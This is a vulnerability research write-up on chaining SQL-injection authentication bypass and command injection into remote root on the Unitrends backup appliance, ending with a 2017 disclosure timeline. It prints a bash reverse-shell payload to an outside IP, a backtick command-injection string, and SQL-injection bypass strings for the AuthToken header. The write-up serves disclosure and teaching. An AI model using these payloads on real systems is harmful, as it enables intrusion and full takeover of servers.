Unitrends is an enterprise backup and recovery software suite. Downloading the free trial you get virtualized appliance which has their custom brewed PHP web app. There are many ways to start a security assessment but we will show what can be accomplished by taking a minimalistic and cursory look at an application to rapidly develop a remote root exploit. We will not be leveraging any security specific tools or special skills like reverse engineering but will demonstrate the power of basic and common utilities. This does require a shell on the box to leverage a more white box approach. In our case with UEB things are made easy for us since the vendor provides an OVA of the virtual appliance.
We will take a quick look through the web app and look for interesting functionality. I like strolling through configuration and settings menus in a quick pass for low hanging fruit. Starting with functionality that commonly results in user input being sent as input to local binaries is a great first stop. Standard examples of this is are ping test pages where the user provides a host to ping, SNMP configuration, console password resets and many other system configuration actions.
Let’s think about the ping connectivity test example. When implemented in web apps these pages are concatenating user input with the ping binary. This is a great opportunity to discover remote command execution using shell escaping techniques. The happy and non-nefarious path may result in this being executed
ping -c 2 127.0.0.1. A nefarious user could craft their input to be a reverse shell payload
; bash -i >& /dev/tcp/127.0.0.1/4444 0>&1. In this simple example without any attempts to filter user input would result in the system executing ping
-c 2 ; bash -i >& /dev/tcp/192.168.0.52/4444 0>&1. Which will result with the ping command failing but the subsequent reverse shell payload will execute.
Let’s dive into the app and overview the manual process for hunting this specific type of vulnerability. In addition interacting with the web app via a web browser we want to SSH into the appliance so we can conduct input tracing exercises. Ideally we will have root level shell. We are going to use our shell to identify where the value on a user input parameter in injected into OS level commands.
There are many ways to do this, I have used strace quite a bit in the past. The shortcoming I have found here is that code execution is often tough to follow. Additionally it typically limits you to tracing only httpd pid and you will miss a lot of code injection including the example bug here. Additionally there are more utilities and purpose built binaries for this sort of thing but have come up with my own hacky yet portable and effective one liner.
while true; do ps -eaF; done | grep -i [A]AAA
What we are doing here is running ps repeatedly and grep’ng for a string. This is the same string we will use in every input parameter of the webapp. Let’s start, less than 5 minutes later we see good root level command injection candidates!
Contrasting to using strace where there is a lot more noise and we can conclude that there is some interprocess socket communication with user input which will take more investigation with more tools. It isn’t an obvious command injection vector.
Using your browser’s developer tools we can find the relevant HTTP request from the network tab and select ‘copy as cURL’; which we will use to replay this HTTP request as we develop it into a CMDi proof of concept.
You will end up with something like this:
We will continue using the console output from above. Having this debugging output enables us to work efficiently as we can intelligently tune our request based on the context surrounding our input parameter. A lot of times this maybe done blindly using an Burp ActiveScan or Intruder with a fuzzdb dictionary which are great tools and can be very effective. Though we should have an even higher success doing this manually especially with more nuanced vulnerabilities. If I am having troubles coming up with CMDi strings for manual testing fuzzdb is a great resource. For example this unix CMDi page - https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-execution-unix.txt
This specific example proves to be very easy and within minutes we can demonstrate CMDi using ping. On my host OS I setup tcpdump using an inclusive filter of ICMP traffic only like so:
The sharename parameter is vulnerable to CMDi using the classic backticks:
\"share_name\":\"aaaaaa`ping 10.0.0.169`\" and we see ICMP requests coming in from our UEB box.
This will be a lot more interesting if we could find an auth bypass since this vulnerability requires a valid user session for exploitation. Let’s start learning more about how the auth works on this webapp. I will simply replay the CMDi payload in cURL while modifying values that I suspect to be session credentials one at a time until the PoC breaks and I no longer see incoming ICMP requests. Using this technique it quickly becomes apparent that the AuthToken HTTP request header is the session credential, it also appears to be Base64 encoded.
Decoding the token looks like we have a session, perhaps a user ID and a log destination. The session string specifically is the actual session credential and is where we will focus first. The app is likely using a datastore to store valid sessions of authenticated users, let’s see what we can learn using our SSH access. Running a netstat we see there is a postgres db running on 5432, let’s connect and list all tables to see if we can find a sessions table.
Knowing that the session uuid is stored in a postgres database the first thing is a SQL injection attack. Again we will continue to leverage the SSH access for debugging purposes. Some quick googling and find the stackexchange thread for enabling query logging for postgres. We just need to locate postgresql.conf and set log_statement to ‘all’ and then tail the appropriate file in pg_log.
This turns out to be quite noisy, though of course we can pipe to grep only the queries that touch the sessions tables. It quickly is apparent that this works as expected, the applications is just grabbing the expiration column for the matching uuid from the user session. From there it must be comparing the expiration against the current time.
Let’s try some basic SQLi strings. We of course will have to Base64 encode the AuthToken. Sure enough the first and most textbook example works:
‘ OR 1=1 -- This is great, we have an authorization bypass and a root level CMDi exploit. Eventually we come to realize that this isn’t as reliable we hoped and the issue is the auth bypass. Yes our basic string worked initially but we are dependent of two things: a valid session in the sessions table, the first session returned not being expired.
Knowing how simple the query is and how it works we opted to just do a UNION query which should be 100% reliable. The condition we really need to satisfy is the check the application does on the returned expiration timestamp. We came up with this string:
' UNION SELECT -1 --
There we go, from 0 to remote root while using only standard utilities.
01/10/2017 - Vulnerabilities discovered
01/18/2017 - Attempted to make contact with vendor via phone and email
01/20/2017 - Contacted CERT for help getting a security contact with vendor
02/07/2017 - Make contact with vendors security engineer and submit PoC
04/11/2017 - Vendor patched for vulnerabilities